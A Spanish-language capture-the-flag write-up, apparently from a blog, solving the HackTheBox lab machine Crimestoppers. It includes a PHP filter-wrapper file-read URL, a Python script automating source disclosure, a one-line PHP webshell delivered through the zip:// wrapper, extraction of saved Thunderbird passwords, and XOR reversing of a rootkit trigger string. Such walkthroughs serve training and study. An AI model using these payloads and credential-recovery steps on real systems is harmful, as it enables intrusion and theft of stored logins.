En este post haremos la máquina Crimestoppers de HackTheBox, acaban de retirarla y no hay mejor momento para enseñaros cómo la resolví.
Es una maquina Linux de un nivel alto que es una de mis favoritas y en la que aprendí varias técnicas útiles. Ademas la creo IppSec (os recomiendo que le echéis un ojo a su canal de YouTube).
Para conseguir la shell inicial abusaremos de los wrappers de php, después obtendremos las credenciales guardadas por Thunderbird (mismo método para conseguir las credenciales guardadas por Firefox) y finalmente nos enfrentaremos a un reto de reversing.
Mi nick en HackTheBox es: manulqwerty
Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.
Write-Up
Enumeración
Como siempre, lo primero sera un escaneo de puertos con nmap:
nmap -sC -sV 10.10.10.80
Solo tenemos el puerto 80 (http) así que vamos a revisar la web. Tal y como vemos en el GIF, vemos un portal inspirado en Mr. Robot que nos permite enviar notas para ayudar al fbi para capturar a los miembros de ‘FSociety’.
Sin necesidad de fuzzear encontramos estas url:
http://10.10.10.80/?op=home
http://10.10.10.80/?op=upload
http://10.10.10.80/?op=view&secretname=
Tal y como vemos en el LFI-Cheat Sheet abusando de los wrappers podremos ver el código php de la web.
http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=PHPFILE
Explotación
En el gif vemos que esta petición nos devuelve una cadena en base64, en este caso sera el código php del fichero upload.php
Para leer mejor el contenido de la petición podemos hacerlo curl:
curl http://10.10.10.80/?op=php://filter/convert.base64-encode/resource=upload
Para descifrar el contenido en base64:
echo -n BASE64TEXT | base64 -d
Así podemos ver los .php que conocemos del servidor. Para automatizar este proceso he escrito un script de python que nos lo hará mucho mas cómodo, solo tendremos que ejecutarlo e ir poniendo el nombre del .php que queremos ver: https://github.com/ironHackersDev/python-scripts/blob/master/phpAttack.py
#!/usr/bin/python import requests import base64 import re def GetPHP(file): r = requests.get("http://10.10.10.80/?op=php://filter/convert.base64-encode/resource="+file) result = re.search('PD9(.*?)<footer>',r.text).group(1) b64 = "PD9" + result + "==" return base64.b64decode(b64) while True: cmd = raw_input("> ") try: output = GetPHP(cmd) print output except: if cmd == "exit" : break print "ERROR"
En el fichero upload.php al que ahora tenemos acceso leemos dónde se guardan las notas que subimos al servidor:
file_put_contents("uploads/". $client_ip . '/' . $secretname, $tip);
Las notas se suben al directorio: /uploads/[NUESTRA IP]:
Como leemos en el LFI-Cheat Sheet podemos intentar usar el wrapper ZIP para conseguir RCE.
echo "<?php \$_GET['param1'](\$_GET['param2']); ?>" > shell.php zip -0 shell.zip shell.php
Lo siguiente sera interceptar con Burpsuite la subida de una nota y con la utilidad ‘Paste from file’ podremos subir el .zip que acabamos de crear
Una vez subimos el fichero, podemos comprobar que se ha subido correctamente yendo a nuestro fichero /uploads y viendo que se nos descarga un .zip con nuestro php.
El siguiente paso sera usar el wrapper ZIP para descomprimir y usar la webshell que hemos subido. Conseguir shell reversa sera trivial teniendo ya rce:
Post-Explotación
Lo primero sera hacer nuestra shell más ‘amigable’: Cómo conseguir tty
Ya podremos acceder al user.txt
Rebuscando entre los directorios del único user del server: dom , encontramos:
Podemos sacar las credenciales con: https://github.com/unode/firefox_decrypt
Website: imap://crimestoppers.htb
Username: ‘[email protected]’
Password: ‘Gummer59’Website: smtp://crimestoppers.htb
Username: ‘[email protected]’
Password: ‘Gummer59’
Con esta contraseña podemos escalar al usuario dom: su dom
A continuación vamos a leer los e-mails contenidos en el directorio .thunderbird
/home/dom/.thunderbird/36jinndk.default/ImapMail/crimestoppers.htb
Tal y como leemos en el fichero Drafts-1, habría un rootkit instalado en el servidor:
El rootkit en cuestión es: https://github.com/sajith/mod-rootme
Con una simple búsqueda lo encontramos, pero como decía el mensaje “get root” no funciona:
Método 1 – Reversing :
Con el fin de investigar por qué no funciona, nos descargamos el fichero.
Para analizar este fichero usaremos IDA PRO 7.0
En la ventana de Funciones encontramos que hay una funcion llamada: darkarmy(), hacemos doble click sobre ella y con F5 decompilamos para verlo en un formato mas sencillo.
Para ver el contenido de las variables hacemos doble click y obtenemos:
En la función rootme_post_read_request comprueba que la cadena que le pasamos es la correcta para otorgarnos shell root.
Tal y como veiamos antes, la funcion darkarmy() hara un OR exclusivo (^) entre las dos variables que tenemos. Vamos a hacernos un programilla en C para poder saber el resultado que queremos.
#include <stdio.h> int main(){ int byte_1BF2[11]={0x0e, 0x14, 0x0d, 0x38, 0x3b, 0x0b, 0x0c, 0x27, 0x1b, 0x1, 0x0}; char aHackTheBox[11]= "HackTheBox"; int i; for(i=0;i<10;i++) printf("%c",(unsigned int) aHackTheBox[i] ^ byte_1BF2[i]); puts(""); }
Obtenemos “FunSociety”, asi que vamos a probarlo.
Método 2 – Mirar los archivos logs
En la carpeta /var/log/apache2 encontramos los ficheros log (registro) de Apache
Tal y como se ve en la imagen, en el archivo logs de apache access.log.4.gz tenemos la cadena “FunSociety”
Herramientas:
- https://github.com/unode/firefox_decrypt
- https://github.com/sajith/mod-rootme
- https://portswigger.net/burp
Referencias:
gr8t write up. very detailed
Keep it up guys